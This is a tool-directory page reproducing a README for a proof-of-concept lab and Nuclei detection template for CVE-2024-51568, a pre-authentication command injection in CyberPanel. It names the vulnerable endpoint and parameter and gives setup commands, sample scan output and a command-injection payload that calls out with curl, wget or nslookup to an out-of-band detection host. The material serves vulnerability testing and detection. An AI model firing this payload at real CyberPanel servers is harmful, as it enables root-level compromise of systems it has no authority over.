Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template — Proof-of-concept environment and Nuclei template for testing CVE-2024-51568, a pre-authentication command injection vulnerability in CyberPanel, enabling remote code execution with root privileges. | Kitploit
Tools/GitHubGitHub/jsnv-dev/cve-2024-51568---cyberpanel-command-injection-nuclei-template
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationLabs & Practice
GitHub
jsnv-dev/cve-2024-51568---cyberpanel-command-injection-nuclei-template

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

Proof-of-concept environment and Nuclei template for testing CVE-2024-51568, a pre-authentication command injection vulnerability in CyberPanel, enabling remote code execution with root privileges.

View Repository
11341 year agoNot yet reviewed
Share

CVE-2024-51568 - CyberPanel Command Injection PoC

A proof-of-concept environment and Nuclei template for testing CVE-2024-51568, a critical pre-authentication command injection vulnerability in CyberPanel.

Vulnerability Details

  • CVE: CVE-2024-51568
  • Severity: Critical (CVSS 9.8)
  • Type: Pre-authentication Command Injection
  • Endpoint: /filemanager/upload
  • Parameter: completePath
  • Impact: Remote Code Execution with root privileges

Quick Start

1. Start Vulnerable Environment

cd docker/
docker-compose up -d --build

2. Verify CyberPanel is Running

curl -I http://localhost:8090

3. Test the Vulnerability

nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090

Sample Output:

   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.

How It Works

The Vulnerability

CyberPanel v2.3.4 contains a command injection flaw in the file upload functionality:

  1. Endpoint: POST /filemanager/upload
  2. Parameter: completePath in multipart form data
  3. Injection: Commands are executed via ProcessUtilities.outputExecutioner()
  4. Bypass: No authentication required due to middleware bypass

Nuclei template:

  1. Extracts CSRF token from initial GET request
  2. Sends malicious file upload with injected command in completePath
  3. Uses Interactsh for out-of-band detection (HTTP/DNS callbacks)
  4. Detects successful execution when the server contacts the Interactsh URL

Detection Payload

/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #

This payload ensures reliable detection across different system configurations.

Configuration

CyberPanel Access

  • URL: http://localhost:8090
  • Admin: admin
  • Password: 1234567

References

  • Original Research
  • Metasploit Module
  • CVE Details

Security Notice

This environment contains intentional vulnerabilities for security research and education:

  • DO NOT deploy in production
  • DO NOT expose to public networks
  • DO NOT use on systems you don't own
  • DO use for authorized security testing only

Disclaimer

This proof-of-concept is provided for educational and authorized security testing purposes only. Users are responsible for complying with applicable laws and obtaining proper authorization before testing.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    930
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    349
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →